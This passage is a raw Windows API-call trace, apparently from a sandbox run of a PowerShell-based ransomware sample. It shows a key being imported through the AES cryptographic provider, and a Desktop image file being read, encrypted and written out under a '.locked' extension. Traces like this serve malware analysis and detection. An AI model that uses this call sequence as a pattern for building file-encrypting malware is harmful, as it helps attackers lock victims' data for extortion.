(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.048] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.048] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0130.048] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.049] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0130.049] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.049] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0130.049] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.049] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.049] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.049] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.050] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.050] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.051] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.051] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.051] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.051] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0130.052] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e02828) returned 1 [0130.052] CryptImportKey (in: hProv=0x8e02828, pbData=0x696b0a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84df8) returned 1 [0130.053] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.053] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xafa0\x696") returned 0x0 [0130.053] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.053] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.053] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.054] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0130.054] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0130.055] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.055] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.055] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.056] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.058] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.058] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0130.059] GetFileType (hFile=0x874) returned 0x1 [0130.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.059] GetFileType (hFile=0x874) returned 0x1 [0130.059] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0130.060] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.060] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.060] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.060] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked", lpFilePart=0x0) returned 0x31 [0130.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.060] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0130.061] GetFileType (hFile=0x868) returned 0x1 [0130.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.061] GetFileType (hFile=0x868) returned 0x1 [0130.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.061] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x69809c4 | out: pbBuffer=0x69809c4) returned 1 [0130.062] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.062] CryptDuplicateKey (in: hKey=0x8e84df8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84978) returned 1 [0130.062] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.062] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x4, pbData=0x6981c80*=0x1, dwFlags=0x0) returned 1 [0130.062] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x1, pbData=0x6981c4c, dwFlags=0x0) returned 1 [0130.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0130.063] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.063] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.064] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.064] ReadFile (in: hFile=0x874, lpBuffer=0x69852a4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69852a4*, lpNumberOfBytesRead=0x99ae6cc*=0xc971, lpOverlapped=0x0) returned 1 [0130.065] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69992b0*, pdwDataLen=0x99ae6c0*=0xc970, dwBufLen=0xc970 | out: pbData=0x69992b0*, pdwDataLen=0x99ae6c0*=0xc970) returned 1 [0130.065] WriteFile (in: hFile=0x868, lpBuffer=0x6980a84*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6980a84*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0130.066] WriteFile (in: hFile=0x868, lpBuffer=0x699a29c*, nNumberOfBytesToWrite=0xb984, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x699a29c*, lpNumberOfBytesWritten=0x99ae6a4*=0xb984, lpOverlapped=0x0) returned 1 [0130.068] ReadFile (in: hFile=0x874, lpBuffer=0x69852a4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69852a4*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0130.068] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a5c44*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x69a5c44*, pdwDataLen=0x99ae714*=0x10) returned 1 [0130.068] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69a5c78*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x69a5c78*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0130.068] WriteFile (in: hFile=0x868, lpBuffer=0x6980a84*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6980a84*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0130.068] CloseHandle (hObject=0x868) returned 1 [0130.076] CloseHandle (hObject=0x874) returned 1 [0130.076] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.077] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.077] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.077] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xed, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.078] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0130.078] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0130.079] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.079] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.079] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.079] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.079] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.079] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.079] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.079] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.079] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.079] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.079] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.079] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.080] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0130.080] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0130.080] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0130.080] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0130.080] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0130.080] GetFullPathNameW (in: 